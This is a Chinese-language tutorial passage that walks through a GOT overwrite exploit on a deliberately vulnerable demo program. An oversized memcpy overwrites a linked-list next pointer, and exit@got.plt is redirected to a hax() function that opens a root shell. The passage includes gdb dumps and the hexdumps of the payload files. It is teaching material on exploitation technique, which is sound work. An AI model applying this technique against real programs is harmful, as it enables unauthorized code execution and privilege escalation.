为了演示我加入了一个 hax() 函数,很明显这个就是我们要把进程的执行路径改写到的位置。一开始我想加入一个例子来使用ROP链来执行一个函数 像是 system 但是因为两个理由我决定不这么做了,第一就是这样有点超出本文的范围了,这对初学者来说还太难。第二就是在这个小程序里面找到合适的函数实在太难。使用这个函数(hax())是因为:由于NX,我们不能将我们自己的shellcode压到栈里面然后执行它,但是我们可以重用在程序中已有的代码(可以是一个函数,也可以是一个ROP链起来的一连串指令)。如果你关心如果使用ROP你可以谷歌 “ROP exploitation”。
我们程序的溢出发生在go()函数。它创建了一个两个struct item类元素的循环链表。第一次拷贝实际上向结构里面复制了过多的字节,这就运行我们覆盖掉第二次调memcpy使用的next指针,所以如果我们能够选择性的覆盖掉next指针我们就能让第二次复制的时候将数据写到我们希望的地方。除此之外我们还控制了data1和data2,因为这两个缓冲区的内容都是从文件中读取的。当然这些数据也可能从网络或者其他的一些输入,我选择文件是因为它让我们很容易改变playload (shellcode 的载体)来做演示。现在我们可以向任意我们想要的地方写入48字节了,但是我们怎样通过这个来获得程序的控制权?
我们即将使用一个叫做 GOT/PLT 的结构。我会马上解释下它是什么,但是如果你需要的更多的了解,你可以google下。 .got.plt 是一个地址表,城市使用它来跟踪库中的函数,我前面已经说过ASLR确保每一个动态链接库文件每一次在程序加载的时候都会被映射到不同的基址上面。所以程序就不能使用静态的绝对地址来应用库文件中的函数。程序使用了一个代理(stub)去计算函数真实的地址,并把它存放到一个表里面。所以每当函数需要被调用的时候,就需要使用到.got.plt表里面存放的地址。
我们利用这一点来改写这个地址,这样下一次程序需要调用那个函数的时候,函数的调用就会被转移到我们代码上面,就像前面我们改写函数的返回地址来转义程序的执行目标。如果我们观察下我们的例子,会发现在调用完memcpy 之后紧接着就调用了函数exit() 。如果我们可以改写.got.plt表里面exit()函数的那一项,那么当函数去调用exit()函数的时候就会跳去执行我们代码而不是libc 中的 exit() 。我们使用那一个地址去覆盖呢?你猜对了,就是函数hax()的地址。首先,还是让我为你演示下.got.plt表在调用exit()函数的时候是如果起作用的。
-----------------------------------
$ cat exit.c
#include <stdlib.h>
int main(int argc, char **argv) {
exit(0);
}
$ gcc exit.c -o exit -g
$ gdb -q ./exit
Reading symbols from /home/me/.hax/plt/exit...done.
(gdb) disas main
Dump of assembler code for function main:
0x000000000040051c <+0>: push %rbp
0x000000000040051d <+1>: mov %rsp,%rbp
0x0000000000400520 <+4>: sub $0x10,%rsp
0x0000000000400524 <+8>: mov %edi,-0x4(%rbp)
0x0000000000400527 <+11>: mov %rsi,-0x10(%rbp)
0x000000000040052b <+15>: mov $0x0,%edi
0x0000000000400530 <+20>: callq 0x400400
End of assembler dump.
(gdb) x/i 0x400400
0x400400 : jmpq *0x200c1a(%rip) # 0x601020
(gdb) x/gx 0x601020
0x601020 : 0x0000000000400406
-----------------------------------
可以看出在main+20的地方,应该是调用libc 里面的exit ,但是却调用0x400400,这个地方就是exit函数的代理,它就会定位到0x601020这个地址然后从中读取函数的地址去执行,此时这个地址还是在got.plt 里。当加载libc 的时候这个地方就会被填充上exit真实的地址。而我们就是要覆盖掉这个地址为我们自己 函数的入口地址。为了让我们的例子可以正常的工作,我们必须定位到.got.plt 中exit函数的地址,然后覆盖掉这个结构中的指针,我们需要向data2这个缓冲区中写入hax()函数的指针,首先覆盖掉item1.next 这个指针,让它指向 .got.plt 中exit的入口,然后使用hax()的地址来覆盖掉此处exit()函数的地址。然后调用exit的时候,实际上是调用了我们的函数hax()。然后我们就会得到一个系统的root shell,但是有一点要注意,以及 execl 函数刚好被定位在exit 函数的后面,而我们的memcpy函数需要复制 48 个字节,所以我们需要保证 execl的地址不被改写。
-----------------------------------
(gdb) mai i sect .got.plt
Exec file:
`/tmp/stackvuln/stackvuln', file type elf64-x86-64.
0x00601000->0x00601050 at 0x00001000: .got.plt ALLOC LOAD DATA HAS_CONTENTS
(gdb) x/10gx 0x601000
0x601000: 0x0000000000600e28 0x0000000000000000
0x601010: 0x0000000000000000 0x0000000000400526
0x601020 < fclose@got.plt>: 0x0000000000400536 0x0000000000400546
0x601030 < memcpy@got.plt>: 0x0000000000400556 0x0000000000400566
0x601040 < exit@got.plt>: 0x0000000000400576 0x0000000000400586
(gdb) p hax
$1 = {< text variable, no debug info >} 0x40073b
-----------------------------------
好了可以看出 exit 函数的入口在 0x601040 ,而hax()是在0x40073b,下面让我们来构造我们的playload。
-----------------------------------
$ hexdump data1.dat -vC
00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA|
00000030 40 10 60 00 00 00 00 00 |@.`.....|
00000038
$ hexdump data2.dat -vC
00000000 3b 07 40 00 00 00 00 00 86 05 40 00 00 00 00 00 |;.@.......@.....|
00000010
-----------------------------------